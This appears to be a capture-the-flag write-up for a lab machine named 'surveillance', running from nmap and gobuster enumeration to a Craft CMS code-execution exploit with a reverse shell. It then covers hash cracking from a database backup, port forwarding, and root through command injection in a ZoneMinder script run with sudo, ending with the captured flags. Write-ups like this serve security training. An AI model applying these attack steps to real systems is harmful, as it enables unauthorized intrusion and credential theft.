Nmap Results
# Nmap 7.94SVN scan initiated Wed Jan 24 16:36:46 2024 as: nmap -Pn -p- --min-rate 5000 -A -oN nmap.txt 10.10.11.245
Nmap scan report for 10.10.11.245
Host is up (0.012s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_ 256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://surveillance.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=1/24%OT=22%CT=1%CU=42608%PV=Y%DS=2%DC=T%G=Y%TM=65B1
OS:830B%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)
OS:OPS(O1=M53CST11NW7%O2=M53CST11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53C
OS:ST11NW7%O6=M53CST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)
OS:ECN(R=Y%DF=Y%T=40%W=FAF0%O=M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%
OS:F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T
OS:5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=
OS:Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF
OS:=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40
OS:%CD=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 143/tcp)
HOP RTT ADDRESS
1 11.81 ms 10.10.14.1
2 11.87 ms 10.10.11.245
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jan 24 16:37:15 2024 -- 1 IP address (1 host up) scanned in 29.07 seconds
Service Enumeration
TCP/80
Gobuster Enumeration
gobuster dir -u http://surveillance.htb -w /usr/share/seclists/Discovery/Web-Content/big.txt -x php,txt,html -r -o gobuster-80.txt -t 100
/.htaccess (Status: 200) [Size: 304]
/admin (Status: 200) [Size: 38436]
/css (Status: 403) [Size: 162]
/fonts (Status: 403) [Size: 162]
/images (Status: 403) [Size: 162]
/img (Status: 403) [Size: 162]
/index (Status: 200) [Size: 1]
/index.php (Status: 200) [Size: 16230]
/js (Status: 403) [Size: 162]
/logout (Status: 200) [Size: 16230]
/p1 (Status: 200) [Size: 16230]
/p10 (Status: 200) [Size: 16230]
/p13 (Status: 200) [Size: 16230]
/p15 (Status: 200) [Size: 16230]
/p2 (Status: 200) [Size: 16230]
/p3 (Status: 200) [Size: 16230]
/p5 (Status: 200) [Size: 16230]
/p7 (Status: 200) [Size: 16230]
/wp-admin (Status: 418) [Size: 24409]
The rules in the .htaccess
file look like they were created specifically for Craft CMS
. These rules simply serve to redirect the HTTP client the HTTP 404
page for:
- Files that don't exist
- Directories that don't exist
- Invalid arguments to the
p
parameter onindex.php
Enumerating the Craft CMS Version
Exploit
Non-Metasploit Method
Understanding the Exploit
Let's do a brief exploration of the exploit's functionality, as you should always seek to understand an exploit before you execute it.
- First, run the
getTmpUploadDirAndDocumentRoot()
function to attemptphpinfo
code execution, which allows us to read the web root path, as well as the temporary upload location - Then, run the
writePayloadToTempFile(documentRoot)
function, which should throw aHTTP 502
, indicating successful exploit. Using the vulnerable Imagick extension, we can write arbitrary PHP code to the web root as though it were an image. - Finally, we run the
trigerImagick(tmpDir)
function to call the Imagick extension to read our PHP file. The Imagick extension then reads our file and executes the PHP code.
Debugging the Exploit
The exploit appeared to be working, but command execution through the PHP reverse shell didn't appear to be working. This was due to a bad string match in the main
function.
print()
functions in the script to debug potential failure points.Metasploit Method
sudo msfconsole
msf6 > use 1
msf6 > set rhosts surveillance.htb
msf6 > set rport 80
msf6 > set ssl false
msf6 > set lhost tun0
msf6 > set lport 443
msf6 > run
Post-Exploit Enumeration
Operating Environment
OS & Kernel
PRETTY_NAME="Ubuntu 22.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.3 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy
Linux surveillance 5.15.0-89-generic #99-Ubuntu SMP Mon Oct 30 20:42:41 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
Current User
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Sorry, user www-data may not run sudo on surveillance.
Users and Groups
Local Users
matthew:x:1000:
zoneminder:x:1001:
Local Groups
matthew:x:1000:
zoneminder:x:1001:
Network Configurations
Network Interfaces
eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:50:56:b9:c5:61 brd ff:ff:ff:ff:ff:ff
altname enp3s0
altname ens160
inet 10.10.11.245/23 brd 10.10.11.255 scope global eth0
valid_lft forever preferred_lft forever
Open Ports
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN 1127/nginx: worker
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN
Privilege Escalation
Lateral to Matthew
After some lengthy enumeration, I stumbled upon a SQL backup that contained an unsalted SHA256 hash for matthew
.
zcat /var/www/html/craft/storage/backups/surveillance--2023-10-17-202801--v4.4.14.sql.zip | grep -i matt
echo '39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec' > hash
john --format=Raw-SHA256 --wordlist=rockyou.txt hash
ssh matthew@surveillance.htb
Lateral to ZoneMinder
The zoneminder
service is listening on 127.0.0.1:8080
, which will require us to forward the port internally. For this task, I'm going to use chisel
.
Modifying the Python Exploit
I had to update line 16
in the public exploit here, as the concatenated string yields an invalid URL. I changed index.php
to /index.php
.
Root Privileges
We note that the zoneminder
user can run password-less sudo
on any zm[a-zA-Z]*.pl
script in /usr/bin/
. In PHP scripts, you commonly see the exec()
, shell_exec()
, or system()
functions abused to achieve command execution on the host.
I searched for ways to achieve this with Perl scripts and came across the exec()
command. The only problem is that this command is not used any of these scripts except one, and it's not exploitable.
I did notice the execute()
command is referenced a lot in these Perl scripts and in my searching, this is a command used execute prepared SQL statements. So, we'll need to find an execute()
call that takes a user parameter, while also not restricting the user to specific data types or inputs.
Looking over the set of scripts pictured above is a time-consuming effort, but after playing around with some scripts, it's clear almost all of them restrict have some input validation. The only one that is vulnerable is zmupdate.pl
. On line 1056
, we can see where the script will take our username
input and execute it. Trying to exploit on password
won't work, cause the script will hash the inputs.
-u '$(payload)'
in single quotes in order for the payload to be passed as a literal string to the Perl script.Flags
User
1f4b734f81280d55388c9ff39cd13152
Root
3457f277222b96dc0f126f9d92defe37